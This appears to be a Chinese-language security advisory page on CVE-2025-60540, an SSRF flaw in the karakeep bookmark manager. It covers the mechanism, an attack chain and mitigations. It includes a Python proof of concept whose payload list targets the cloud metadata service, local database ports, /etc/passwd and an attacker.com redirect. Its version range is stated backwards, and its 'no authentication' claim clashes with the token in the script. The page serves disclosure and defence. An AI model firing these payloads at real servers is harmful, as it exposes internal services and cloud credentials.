IPBUF安全漏洞报告
English
CVE-2025-60540 CVSS 6.5 中危

CVE-2025-60540:karakeep SSRF服务端请求伪造漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-60540
漏洞类型
服务端请求伪造(SSRF)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
karakeep

相关标签

SSRF服务端请求伪造karakeep信息泄露内网探测中危漏洞CVE-2025-60540开源应用

漏洞概述

CVE-2025-60540 是 karakeep 应用程序(版本 v0.26.0 至 v0.7.0)中存在的一个服务端请求伪造(Server-Side Request Forgery, SSRF)漏洞。该漏洞由安全研究人员发现并报告给 MITRE 组织,于2025年10月14日正式公开披露。根据 CVSS 3.1 评分体系,该漏洞的评分为 6.5 分,属于中危级别漏洞。

karakeep 是一款开源的书签管理和网页收藏工具(karakeep-app/karakeep),用户可以使用它来保存、组织和管理网页链接。该应用提供了网页内容抓取、预览生成等核心功能。在实现这些功能的过程中,应用程序需要向用户提供的 URL 发起 HTTP 请求以获取网页内容。然而,由于缺乏对用户输入 URL 的充分验证和过滤,攻击者可以利用这一缺陷构造恶意的请求目标,使服务端向内部网络资源或外部任意地址发起请求。

该漏洞的 CVSS 向量为 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L,表明该漏洞可通过网络远程利用,攻击复杂度低,无需任何特权或用户交互即可触发。漏洞对机密性影响为低(可能泄露部分内部信息),对完整性无影响,但对可用性有低影响(可能消耗服务端资源)。

尽管该漏洞被评定为中危级别,SSRF 漏洞在实际攻击场景中往往可以作为攻击链的关键环节,结合其他漏洞实现更严重的攻击效果,例如访问云元数据服务(AWS IMDS)、内网端口扫描、读取本地文件等。

技术细节

服务端请求伪造(SSRF)是一种利用服务端作为代理,向任意地址发起 HTTP 请求的攻击方式。在 karakeep v0.26.0 至 v0.7.0 版本中,应用程序在处理用户提交的 URL 时(例如书签保存、链接预览生成等场景),直接将用户提供的 URL 传递给服务端的 HTTP 客户端进行请求,而未对目标地址进行充分的安全验证。

漏洞的技术原理如下:

1. **URL 解析缺陷**:应用程序未对用户提交的 URL 进行严格的协议和域名校验,允许使用 file://、gopher://、dict:// 等非标准协议,或通过 URL 编码、域名重定向等绕过方式访问内部资源。

2. **内网探测能力**:攻击者可以利用 SSRF 漏洞让服务端向内网地址发起请求,例如访问 127.0.0.1、169.254.169.254(云元数据服务)、192.168.0.0/16 等私有 IP 地址段,从而探测内部网络拓扑和服务。

3. **响应内容泄露**:服务端获取的响应内容可能会以某种形式返回给攻击者(如预览信息、错误信息等),从而泄露内部敏感数据。

4. **资源消耗**:攻击者可以通过构造大量 SSRF 请求或指向大文件/慢速响应端点,消耗服务端网络带宽和计算资源,造成拒绝服务效果。

利用方式:攻击者通过正常功能接口提交精心构造的恶意 URL(如 http://169.254.169.254/latest/meta-data/ 读取云元数据),服务端在处理该 URL 时会代替攻击者向目标地址发起请求,并将响应内容返回或用于后续处理,从而实现信息泄露或内网探测。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标系统是否运行 karakeep v0.26.0 至 v0.7.0 版本,可通过版本检测接口或响应头信息进行判断。
STEP 2
步骤2:构造恶意URL
攻击者构造指向内部网络资源或云元数据服务的恶意 URL,如 http://169.254.169.254/latest/meta-data/ 或 http://127.0.0.1:端口号/。
STEP 3
步骤3:提交恶意URL
攻击者通过 karakeep 的书签保存或链接预览功能提交包含恶意 URL 的请求。
STEP 4
步骤4:服务端发起请求
karakeep 服务端未对 URL 进行充分验证,直接向攻击者指定的目标地址发起 HTTP 请求。
STEP 5
步骤5:信息泄露或内网探测
服务端获取的响应内容(如云元数据、内部服务信息等)通过预览或其他方式泄露给攻击者,或被用于内网端口扫描和服务探测。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-60540 - karakeep SSRF PoC # This PoC demonstrates the SSRF vulnerability in karakeep v0.26.0 - v0.7.0 # By submitting a crafted URL through the bookmark/link saving functionality, # the server-side will fetch the URL without proper validation. import requests TARGET_URL = "http://target-karakeep-instance:3000" API_ENDPOINT = "/api/v1/bookmarks" # Adjust based on actual API path AUTH_TOKEN = "YOUR_AUTH_TOKEN" # If authentication is required # Malicious URLs to test SSRF ssrf_payloads = [ # Cloud metadata service (AWS) "http://169.254.169.254/latest/meta-data/", # Localhost access "http://127.0.0.1:6379/", # Redis "http://127.0.0.1:5432/", # PostgreSQL # Internal network scan "http://192.168.1.1/admin", # File protocol (if supported) "file:///etc/passwd", # Bypass via redirect "http://attacker.com/redirect-to-internal", ] headers = { "Content-Type": "application/json", "Authorization": f"Bearer {AUTH_TOKEN}" } for payload_url in ssrf_payloads: data = { "url": payload_url, "title": "Test Bookmark" } response = requests.post(f"{TARGET_URL}{API_ENDPOINT}", json=data, headers=headers) print(f"[*] Payload: {payload_url}") print(f"[*] Status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") print("-" * 60)

影响范围

karakeep >= v0.7.0
karakeep <= v0.26.0

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)在反向代理或防火墙层面限制 karakeep 服务端的出站网络连接,仅允许访问必要的外部域名;2)在应用配置中禁用 URL 预览/抓取功能(如果支持);3)通过网络 ACL 阻止服务端访问私有 IP 地址段和云元数据服务地址;4)监控异常出站连接请求,及时发现潜在的 SSRF 利用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表